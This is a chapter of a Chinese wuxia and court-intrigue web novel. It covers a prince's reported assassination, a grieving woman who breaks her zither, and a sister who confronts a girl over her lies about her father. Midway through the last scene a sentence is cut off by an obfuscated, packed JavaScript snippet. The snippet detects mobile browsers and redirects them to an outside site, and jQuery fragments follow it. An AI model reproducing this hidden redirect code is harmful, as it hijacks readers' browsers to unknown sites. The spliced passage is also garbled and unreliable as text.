173. 洞悉人心

作品:《破重山

    弟子垂首道:“弟子暗中查访,听闻率智与太阴宫主阮丹宁似有旧交,此次魔教突袭,他恰好现身,助太阴宫稳住了局势。”


    掌门冷笑一声:“恰好?”


    弟子不敢接话,只继续道:“魔教此次折损不小,暂时退去,但太阴宫也伤亡颇重。如今宫门紧闭,外人难以探听内情。”


    掌门眸光微动,似在思索,片刻后淡淡道:“继续盯着,尤其是那丫头的下落。至于率智……”他唇角微勾,眼底却无半分笑意,“我倒要看看,这位少林高僧,究竟在谋划什么。”


    窗外风雪渐急,烛火猛地一晃,屋内光影交错,映得掌门半边面容忽明忽暗,如覆寒霜。


    *


    北齐诸皇子夺嫡,暗流汹涌,已至白热。


    赫连真为保肖灵音无虞,特遣心腹亲卫统领,率麾下十二铁骑精锐,夤夜护送其一行,悄然潜返东安。


    沿途关隘,皆有心腹接应,行事周密,足见赫连真用心之深,算无遗策。


    众人安然踏入东安境内不过三日,一则石破天惊的消息便如九天惊雷,轰然炸响于北齐朝野——五皇子赫连真,竟于府邸之中遇刺身亡!


    传闻是夜,赫连真独坐书房批阅奏章,数名黑衣刺客破窗而入,刀光如雪,剑气森然。


    赫连真虽奋力格挡,终是寡不敌众,被淬毒利刃当胸贯入,立时毙命。


    待侍卫闻警蜂拥而至,刺客早已鸿飞冥冥,唯余满地狼藉奏章与触目惊心的猩红。


    五皇子府瞬息被御林军团团围困,太医院院首亲验尸身,确认凶刃淬有见血封喉之剧毒。


    太后震怒,连夜颁旨严查,皇城内外顷刻风声鹤唳,诸皇子府邸皆被暗探严密监视。


    坊间流言四起,或指太子辣手,或言二皇子构陷,更有揣测乃敌国细作所为,意在搅乱北齐乾坤。


    消息传至东安,肖灵音独坐庭中,久久未动。她凝望着北齐皇城方向,手中茶盏渐凉,眸底情绪翻涌,复杂难明。


    “姑娘,更深露重,且回屋吧。”侍女青柳手捧素色披风,轻声劝道,语带哽咽。


    肖灵音恍若未闻,目光依旧锁在北方天际。


    “姑娘……”青柳再唤,泪已盈睫。


    “他……当真死了?”肖灵音终于开口,声音轻飘如风中絮语,几欲消散。


    青柳垂首,默然以对。


    赫连真遇刺身亡、凶手无踪、太后震怒彻查的消息,早已如野火燎原,传遍东安。


    肖灵音指尖无意识地摩挲着茶盏边缘一道细微裂痕,心亦如这瓷器,看似完整,内里早已支离破碎。


    “取琴来。”她忽道,声音空洞。


    青柳稍作迟疑,转身入内室,捧出一张古琴。


    琴身乌沉,弦凝尘灰,久未抚弄。


    肖灵音接过,指尖轻触冰弦,发出一声喑哑嗡鸣。


    她阖目,赫连真初见的音容宛在眼前。


    “琴声幽咽,灵音可是心绪难平?”封灵籁不知何时已悄然落座对面。


    “铮——!”一声裂帛之音骤起,琴弦崩断。


    肖灵音垂眸,看着指尖迅速沁出的殷红血珠,竟觉不出丝毫痛楚。


    “姑娘!”青柳惊呼上前,却被肖灵音抬手止住。


    “无妨。”她声音极轻,目光胶着于断弦,“无名……此琴,是他所赠。”


    封灵籁执起肖灵音的手,用素白丝帕裹住渗血的指尖,“赫连真何等心机深沉、算无遗策之人,岂会这般轻易便死了?”


    青柳闻言,柳眉倒竖,厉声叱道:“放肆!你这女子安敢诋毁主上!你一介东安之民,鬼祟现身北齐,若非主上仁厚,你早已曝尸荒野!”


    肖灵音指尖的血将丝帕染红小片,她却浑然未觉,只定定望着断弦出神。


    封灵籁包扎的动作一顿,抬眸直视她空洞的眼:“弦断心乱。灵音,你当真信他死了?”


    “姑娘切莫听她诛心之言!”青柳含泪怒视封灵籁,“主上待姑娘一片赤诚,便是最后关头,亦倾力护姑娘远避险地……如今遭此大难,竟还有人……”


    “青柳。”肖灵音截断她的话,缓缓抽回被包扎的手,指尖微颤着。她的目光终于从断弦移向封灵籁,眼中是令人心悸的空茫:“你说他不该死?还是……不该死得如此轻易?”


    封灵籁迎着她的视线,声音压得更低,字字清晰:“赫连真行事,向来步步为营,谋定后动。堂堂皇子,于重重护卫下遇刺身亡?未免太过‘巧合’!此琴,”她目光扫过断弦,“他既赠你,岂会不知你通晓音律,更善……洞悉人心?”


    “洞悉人心?”肖灵音唇角勾起一丝极冷的弧度,似讽非讽,“他懂什么?懂如何算计?懂如何布局?还是懂……如何教人心死如灰?”


    话音未落,她猝然抬手,染血的指尖狠狠按向那崩断的琴弦残端!


    “姑娘不可!”青柳骇然失色,失声惊呼。


    肖灵音却恍若未觉痛楚,殷红的血迅速在素帕上洇开更大一片刺目的红。


    她死死盯着那片血色,声音陡然拔高,带着濒临崩溃的凄厉:“他死了!死得干干净净!无论是否‘轻易’,是否‘巧合’,他死了!这便是结果!你还要我如何?!要我猜他没死?要我信这又是他一场精心算计?!”


    她胸膛剧烈起伏,眼中那层强撑的空洞被汹涌的悲恸与绝望彻底撕碎,泪水夺眶而出,又被她倔强地仰首狠狠逼回,只在眶中结成薄冰。


    “出去。”她闭上眼,声音疲惫冰冷,仿佛耗尽了所有气力,“都出去。”


    庭中死寂,唯余断弦在余震中发出极微弱的哀鸣。


    青柳泪流满面,忧心如焚地望着肖灵音摇摇欲坠的单薄身影。


    封灵籁深深看了她一眼,不再言语,起身悄然没入庭树阴影之中。


    夜风更添萧瑟,卷起几片枯叶,落在冰冷的琴身之上。


    青柳欲上前搀扶,却被肖灵音轻轻拂开。


    她便这般独自枯坐于寒凉庭中,身影伶仃,仿佛随时会融于这沉沉夜色。


    肖灵音指尖的血,一滴,一滴,无声坠落,在染红的丝帕与冰冷的石阶上,洇开一小片绝望的暗色。


    *


    云萝屏住呼吸,手轻轻抵住雕花窗棂。夜风掠过鬓角碎发,带来深秋湿冷的寒意。


    她侧耳细听,屋内寂然无声。


    “想是都安歇了……”她心下稍松,左手撑住窗台,右腿轻巧一迈,便欲翻入。


    月光自她身后斜斜投入,于地面


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16028226|168757||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    拉出一道纤细剪影。


    恰在重心前倾时,黑暗深处,忽闻一声轻叩。


    茶盏落于檀木几上的脆响,惊得她浑身一颤!


    未及反应,帷幔阴影中,那道清冷嗓音已如冰泉流淌:“舍得归了?”


    云萝吓得魂飞魄散,脚下一软,整个人向前扑倒,重重摔在窗下矮榻之上。


    她手忙脚乱爬起,借着惨淡月光,终于看清那端坐于阴影中的人影——正是她此刻最怕撞见的封灵籁!


    “阿、阿姊……”云萝挤出一个讪笑,拍打着衣裙上的灰尘,“这般夜深了,您……您还未安置啊?”


    封灵籁慢条斯理地端起茶杯,浅啜一口,方悠悠道:“我若安置了,岂不错过你这夤夜翻窗的‘雅兴’?”


    云萝心头一紧,眼珠乱转,干笑道:“我……我这不是怕走正门惊扰了大家安眠……”


    “哦?”封灵籁放下茶盏,目光如冷电般将她钉在原地,“那你倒说说,这一整日,去了何处?做了何事?见了……何人?”


    屋内霎时静得落针可闻,空气瞬间凝固。


    云萝喉头发干,额角渗出细密冷汗,只觉一股寒意从脚底直冲头顶。


    完了……怕是瞒不住了……


    “不肯说?”封灵籁的声音平静无波,却带着无形的威压,“那便由我替你,将这层画皮,一寸寸揭开。”


    她向前逼近半步,月光恰好照亮她半边清冷容颜,审视的目光锐利如刀,似要将云萝从里到外剖开:


    “当日你苦苦哀求,言道欲借试剑大会之机,寻访生父踪迹,言辞切切,情真意挚。然,当真到了大会之日,天下英豪毕集,正是打探消息的千载良机,你——却做了什么?”


    封灵籁语速不疾不徐,字字清晰:“你匿身人群之后,神情漠然,全无半分寻亲之念,更刻意避开所有可能探听消息的场合与人物。此为其一。”


    她略顿,目光如淬冰的利刃,剐过云萝瞬间惨白的小脸,续道:“其二,你自称乃沧澜派大师兄流落在外之骨血。好,我便顺着这条线查了下去。”


    “然则,”封灵籁微微倾身,气息几乎拂到云萝僵硬的脸上,“据我所知,沧澜派那位惊才绝艳的大师兄,今年不过弱冠之龄!试问——”她声音陡然转厉,“一个十几年前便与你母亲分离之人,十年前,尚是垂髫稚子!一个十岁孩童,如何做得你的生父?!”


    此言如五雷轰顶!


    云萝脑中轰然作响,脊背重重撞上冰冷窗棂的剧痛亦无法驱散灭顶的眩晕。


    她张口结舌,如离水之鱼,只有剧烈起伏的胸膛与无法遏制的颤抖,昭示着内心的天崩地裂。


    “不是的!”云萝终于从窒息的绝望中挣出一丝嘶哑哭喊,她抬头,眼中尽是倔强,“娘亲……娘亲临终前死死攥着我的手说……父亲就是沧澜派的大师兄!娘亲绝不会骗我!我也……我也从未存心欺瞒阿姊!”


    她像是抓住最后一根浮木,语速急促地辩解:“谁说我漠然无心?谁说我无意寻父?”泪水混着冷汗滚滚而下,“这些日子,在无名镇,在此处,我除了为阿姊熬药、买药,一刻也未敢停歇!我画了人像,托了可靠的牙侩,在茶楼酒肆悄悄打探……可我们囊中羞涩,我……我只好……”